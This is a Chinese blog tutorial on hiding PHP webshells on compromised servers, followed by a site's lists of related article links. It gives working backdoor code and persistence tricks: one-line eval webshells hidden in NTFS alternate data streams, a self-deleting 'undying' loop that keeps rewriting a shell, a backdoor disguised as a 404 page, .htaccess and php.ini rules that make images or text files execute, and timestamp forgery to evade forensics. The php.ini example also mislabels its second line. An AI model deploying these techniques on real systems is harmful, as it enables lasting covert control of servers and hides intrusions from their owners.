PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
用PHP的ob_start() 控制您的浏览器cache
Aug 03 PHP
php 多关键字 高亮显示实现代码
Apr 23 PHP
利用php递归实现无限分类 格式化数组的详解
Jun 08 PHP
php ckeditor上传图片文件名乱码解决方法
Nov 15 PHP
php中随机函数mt_rand()与rand()性能对比分析
Dec 01 PHP
PHP实现简单数字分页效果
Jul 26 PHP
php图片上传类 附调用方法
May 15 PHP
Laravel中间件实现原理详解
Oct 09 PHP
php使用PDO下exec()函数查询执行后受影响行数的方法
Mar 28 PHP
Thinkphp 空操作、空控制器、命名空间(详解)
May 05 PHP
详解php中生成标准uuid(guid)的方法
Apr 28 PHP
thinkphp5框架结合mysql实现微信登录和自定义分享链接与图文功能示例
Aug 13 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
PHP输入流php://input介绍
2012/09/18 PHP
完整删除ecshop中获取店铺信息的API
2014/12/24 PHP
Linux下 php7安装redis的方法
2018/11/01 PHP
Yii框架 session 数据库存储操作方法示例
2019/11/18 PHP
javascript框架设计读书笔记之种子模块
2014/12/02 Javascript
node.js中的fs.readlink方法使用说明
2014/12/17 Javascript
SuperSlide标签切换、焦点图多种组合插件
2015/03/14 Javascript
js实现跨域的4种实用方法原理分析
2015/10/29 Javascript
文件上传插件SWFUpload的使用指南
2016/11/29 Javascript
基于JavaScript实现本地图片预览
2017/02/08 Javascript
开发Vue树形组件的示例代码
2017/12/21 Javascript
AngularJS基于MVC的复杂操作实例讲解
2017/12/31 Javascript
浅谈Vue路由快照实现思路及其问题
2018/06/07 Javascript
JSON字符串操作移除空串更改key/value的介绍
2019/01/05 Javascript
Python实现队列的方法
2015/05/26 Python
Python学习教程之常用的内置函数大全
2017/07/14 Python
python调用Matplotlib绘制分布点并且添加标签
2018/05/31 Python
python人民币小写转大写辅助工具
2018/06/20 Python
python同步两个文件夹下的内容
2019/08/29 Python
解决安装pyqt5之后无法打开spyder的问题
2019/12/13 Python
python logging设置level失败的解决方法
2020/02/19 Python
Python Matplotlib绘图基础知识代码解析
2020/08/31 Python
Python Tkinter实例——模拟掷骰子
2020/10/24 Python
中国跨境海淘网站:考拉海购
2016/08/01 全球购物
北美领先的牛仔品牌:Buffalo David Bitton
2017/05/22 全球购物
西班牙土拨鼠床垫公司,感觉在云端:Marmota
2019/03/18 全球购物
利用指针变量实现队列的入队操作
2012/04/07 面试题
品管员岗位职责
2013/11/10 职场文书
初一科学教学反思
2014/01/27 职场文书
感恩母亲节演讲稿
2014/05/07 职场文书
爱心倡议书范文
2014/05/12 职场文书
护士求职信范文
2014/05/24 职场文书
旷工检讨书1000字
2015/01/01 职场文书
导游词之寿县报恩寺
2020/01/19 职场文书
正确使用MySQL INSERT INTO语句
2021/05/26 MySQL
动画《平凡职业成就世界最强》宣布制作OVA
2022/04/01 日漫